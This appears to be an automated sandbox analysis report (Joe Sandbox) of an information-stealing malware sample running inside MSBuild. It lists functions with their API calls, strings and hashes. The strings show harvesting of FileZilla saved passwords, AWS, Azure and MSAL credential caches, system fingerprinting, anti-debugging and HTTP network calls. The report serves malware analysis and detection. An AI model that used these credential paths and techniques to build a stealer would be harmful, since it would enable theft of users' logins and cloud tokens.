Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00405100 Relevance: 17.1, APIs: 3, Strings: 8, Instructions: 569
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

memcpy.MSVCRT(?,00000000,00000000), ref: 0040578F
memcpy.MSVCRT(?), ref: 004057B6
memcpy.MSVCRT(?), ref: 004057F1

Strings

--, xrefs: 00405280
------, xrefs: 004053B7
------, xrefs: 004054F9
------, xrefs: 0040563B
", xrefs: 00405706
", xrefs: 00405482
", xrefs: 004055C4
------, xrefs: 00405297

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@memcpy$CrackInternet
String ID: ------$"$"$"$--$------$------$------
API String ID: 2445727885-2774362122
Opcode ID: 8235bc1225a5e175669867b2abb12fe628427973e28784d23146d92d1409c7f3
Instruction ID: d07ba18edd097c444f0f2b194d739d2ed1db848351cdebbd5bd0839dcb06e227
Opcode Fuzzy Hash: 8235bc1225a5e175669867b2abb12fe628427973e28784d23146d92d1409c7f3
Instruction Fuzzy Hash: DA3262B1921118ABDB14FBA1DC91FEE7378BF14714F40415EF10662092DF782A9ACF69

Function 00418320 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.KERNELBASE(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00020019,00000000), ref: 0041847B

Strings

- , xrefs: 004185A3
?, xrefs: 0041837A
%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Open$Enum
String ID: - $%s\%s$?
API String ID: 462099255-3278919252
Opcode ID: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00406280 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 191
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000,00420DFB), ref: 004062E1
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

Strings

ERROR, xrefs: 004064C9
ERROR, xrefs: 00406407
GET, xrefs: 0040637C

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@Internet$ConnectCrackHttpOpenRequestSend
String ID: ERROR$ERROR$GET
API String ID: 3905982082-2509457195
Opcode ID: 460f558118b4083d41359c156125f26ce9f22fb94ebe107836e013dd45d71b95
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: 460f558118b4083d41359c156125f26ce9f22fb94ebe107836e013dd45d71b95
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00418100 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180

Strings

%d MB, xrefs: 004181A3
@, xrefs: 0041814D

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv$GlobalMemoryStatus
String ID: %d MB$@
API String ID: 2185283323-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 004047B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternet
String ID: <
API String ID: 676793843-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00419860 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 212
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419ACF

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 1029625771-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 00417500 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F

Strings

:, xrefs: 0041755C
C, xrefs: 0041754C
\, xrefs: 00417560

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00401220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv$GlobalMemoryStatus
String ID: @
API String ID: 2185283323-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 004183DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNELBASE(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegQueryValueExA.KERNELBASE(00000000,?,00000000,000F003F,?,00000400), ref: 004184EC
RegQueryValueExA.KERNELBASE(00000000,?,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.KERNELBASE(00000000), ref: 00418608

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseEnumOpen
String ID: %s\%s
API String ID: 2041898428-4073750446
Opcode ID: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 00417690 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,?,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.KERNELBASE(00000000,?,00000000,00000000,?,000000FF), ref: 004176FE

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenQueryValue
String ID: Windows 11
API String ID: 4153817207-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,?,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.KERNELBASE(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenQueryValue
String ID: CurrentBuildNumber
API String ID: 4153817207-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 00404FB0 Relevance: 3.1, APIs: 2, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
KiUserExceptionDispatcher.NTDLL(00000000,?,00000001), ref: 0040508A

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocateDispatcherExceptionHeapUser
String ID:
API String ID: 3515689010-0
Opcode ID: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 00417E00 Relevance: 3.1, APIs: 2, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,?,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,000000FF,000000FF), ref: 00417E7F

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenQueryValue
String ID:
API String ID: 4153817207-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 004169F0 Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00401160: GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A

Part of subcall function 00401110: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00416A1C), ref: 00401132

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNELBASE(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266

GetUserDefaultLCID.KERNELBASE ref: 00416A26

Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameUser__aulldiv$AllocComputerDefaultGlobalInfoMemoryNumaStatusSystemVirtual
String ID:
API String ID: 3178950686-0
Opcode ID: 89bd8792c9ea463fe5cd0678b04f38b1ba409c67d9b77676339e57910a337a73
Instruction ID: 00249ead6714b3af85de48d5768f0cff66b99727dd84f15ff7ce73ce32af2852
Opcode Fuzzy Hash: 89bd8792c9ea463fe5cd0678b04f38b1ba409c67d9b77676339e57910a337a73
Instruction Fuzzy Hash: 63316175940208AADB04FBF2DC56BEE7339AF04354F10452EF102A61D2DF7C6996C6AE

Function 004178E0 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 00417850 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00417ED0 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(00420E2C), ref: 00417F00

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction ID: 2fbe6902627a031950d7a3fa851ef95510e90209490a35db063d7eb50f57f6da
Opcode Fuzzy Hash: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction Fuzzy Hash: 53F0F6B5A44218FBC710CF84DC45FEAF7BCF744710F50066AF50592280D37929408BD5

Function 00419470 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction ID: 2eda5d4ec063f04fe8048fb8b0a850fc323e1bbd58c3ab932ea79d0f281d5f74
Opcode Fuzzy Hash: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction Fuzzy Hash: BEF03A7994020CFBDB15DFA4DC4AFEA7778EB08310F004498BA1997290D6B4AE85CB95

Function 00401110 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAllocExNuma.KERNELBASE(00000000,?,?,00416A1C), ref: 00401132

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocNumaVirtual
String ID:
API String ID: 4233825816-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 004010A0 Relevance: 1.3, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Non-executed Functions

Function 0041B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BBB7
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 0041BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BBDE
TerminateProcess.KERNEL32(00000000), ref: 0041BBE5

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 2759986af63cf1bc905e0f8428f5e2b998159022a12c47e0d709fe691c65c3be
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: E921A3BC9002059FDB10DF69FD89A963BE4FB0A314F50403AE90A87264DBB45981EF4D

Function 00410250 Relevance: 26.6, APIs: 3, Strings: 12, Instructions: 363stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0041031B
memset.MSVCRT ref: 004106DD

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

strtok_s.MSVCRT ref: 00410679

Strings

browser: FileZilla, xrefs: 00410559
url: , xrefs: 00410577
profile: null, xrefs: 00410568
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<Port>, xrefs: 004103C6
NA, xrefs: 0041072E, 004106AF, 004106B2
password: , xrefs: 004105FB
<Pass encoding="base64">, xrefs: 0041045A
<User>, xrefs: 00410410
<Host>, xrefs: 0041037C
login: , xrefs: 004105CA

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$mallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 2676359353-514892060
Opcode ID: 5617bd6bc83757f25327082bfbfb60fa8d0a6348b7b524702c500f70768eef60
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 5617bd6bc83757f25327082bfbfb60fa8d0a6348b7b524702c500f70768eef60
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00410A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00410C1C
lstrcatA.KERNEL32(?,00000000), ref: 00410C35
lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F
lstrcatA.KERNEL32(?,00000000), ref: 00410C88
lstrcatA.KERNEL32(?,00420D84), ref: 00410C9A
lstrlenA.KERNEL32(?), ref: 00410CA7
memset.MSVCRT ref: 00410CCD
memset.MSVCRT ref: 00410CE1
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 00410D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00410D66

Strings

.exe, xrefs: 00410A95

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$CreateObjectProcessSingleWaitlstrlen
String ID: .exe
API String ID: 2214552867-4119554291
Opcode ID: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction ID: 8c4414bd7b792449c86a3c64e171a12ac7102eaeec46e1acf96b3d3d4dd6cf75
Opcode Fuzzy Hash: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction Fuzzy Hash: A78194B55111186BCB14FBA1CD52FEE7338AF44308F40419EB30A66082DE786AD9CF6E

Function 00414D70 Relevance: 21.1, APIs: 4, Strings: 10, Instructions: 119COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414D87
memset.MSVCRT ref: 00414E13
memset.MSVCRT ref: 00414E9F
memset.MSVCRT ref: 00414F2B

Strings

*.*, xrefs: 00414DD8
\.aws\, xrefs: 00414E4D
Azure\.aws, xrefs: 00414E5F
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
*.*, xrefs: 00414E64
\.azure\, xrefs: 00414DC1
Azure\.azure, xrefs: 00414DD3
\.IdentityService\, xrefs: 00414ED9
Azure\.IdentityService, xrefs: 00414EEB
msal.cache, xrefs: 00414EF0

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memset
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 2221118986-156832076
